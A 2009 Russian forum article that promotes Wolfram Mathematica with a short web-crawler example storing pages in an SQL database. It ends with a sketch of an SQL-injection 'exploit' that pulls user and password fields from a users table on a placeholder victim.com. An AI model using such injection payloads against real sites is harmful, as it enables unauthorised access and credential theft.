Здравствуйте!
В этой статье я бы хотел ещё раз напомнить всем о системе компьютерной алгебры Mathematica от фирмы Wolfram Research.
Кто не знает, пусть погуглит.
Я бы не хотел размусоливать здесь общие сведения об этой программе и как ей пользоваться.
Я хочу лишь на примере показать мощь Mathematica, которая проявляется не только в математических программах, но и в иных прикладных программах, в том числе хакерских.
Заодно расскажу об основных функциях, нужных для этого.
Для начала напишем web-краулер. Есть тысячи реализаций краулеров на самых разных языках. Но мне нравится моя весьма лаконичная и красивая реализация на Mathematica.
Что ж, начну с того, что скажу, что в Mathematica есть встроенная СУБД DatabaseLink. Она позволяет управлять самыми разными видами баз данных прямо из Mathematica, то есть не нужно внешних СУБД.
Для работы с DatabaseLink в программе надо добавить строчку
Код:
Needs["DatabaseLink`"]
.
Напишите в Notebook следующий код:
Код:
Needs["DatabaseLink`"]
OpenSQLConnection[]
Откроется GUI-программа для управления базами данных. Там Вы можете создать базу данных.
Теперь насчёт извлечения web-страниц: это делается функцией Import[] (почитайте документацию), причём разработчики позаботились о нас и написали парсеры элементов страницы.Так что всё делается очень легко.
Всё, больше не буду разводить воду и напишу сам код. Думаю всё итак понятно, но на всякий случай написал комментарии.
Код:
Needs["DatabaseLink`"]
url = "http://ya.ru" (*Любой URL для краулинга*)
text = Import[url] (* Импортируем страницу в виде plain-text (т.е. без html-тегов) *)
title = Import[url, "Title"] (* Импортируем <title>*)
links = Import[url, "Hyperlinks"](*Импортируем все ссылки*)
conn = OpenSQLConnection["index", "Username" -> "indexer", "Password" -> "crawler"] (*Подключаемся к БД*)
SQLConnection["index", 1, "Open", "<>"]
SQLCreateTable[conn,
SQLTable["iNDEX"], {SQLColumn["url", "DataTypeName" -> "STRING"],
SQLColumn["text", "DataTypeName" -> "STRING"],
SQLColumn["title", "DataTypeName" -> "STRING"],
SQLColumn["links", "DataTypeName" -> "STRING"]}]; (*Собственно, создаём таблицу*)
SQLInsert[conn, "INDEX", {"url", "text", "title", "links"}, {url,
text, title, links}] (*Закидываем данные в таблицу*)
CloseSQLConnection[conn](*Отключаемся от БД*)
Как видите, код очень короткий и интуитивно понятный.
Из хакерских программ на Mathematica удобно писать сплойты, но к сожалению у меня нет готовых кодов, ибо я (пока:)) их не писал.
Но суть такова:
Код:
url = "http://victim.com"
StringCases[Import[url<>"news.php?id=-1+union+select+concat_ws('%3A','user','password'),2,3,4+from+users+limit+1,1/*"],RegularExpression["[^*:::*$"]] (*Парсим логин и пароль*)
Это простейший вариант сплойта для простейшей инъекции. Конечно же для blind sql-инъекций код будет посложнее, будут циклы, по которым идёт перебор символов. Кстати циклы выглядят в Mathematica так: For[start,test,incr,body].
Я надеюсь Вас заинтересовала система компьютерной алгебры Wolfram Mathematica, и Вы захотите в ней разобраться. Вопросы можете задавать здесь. Удачи!
(c)
BECHED 2009.